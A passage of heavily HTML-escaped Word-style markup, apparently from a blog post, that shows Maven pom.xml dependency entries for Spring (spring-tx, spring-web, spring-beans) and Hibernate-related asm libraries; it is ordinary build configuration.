&#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.2.0.RELEASE&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-&lt;u&gt;tx&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${spring.framework.version}&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-web&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${spring.framework.version}&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-beans&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${spring.framework.version}&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;!--&amp;nbsp;&lt;u&gt;Hibernate&lt;/u&gt;&amp;nbsp;core --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;asm&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-all&lt;/span&gt;&lt;span 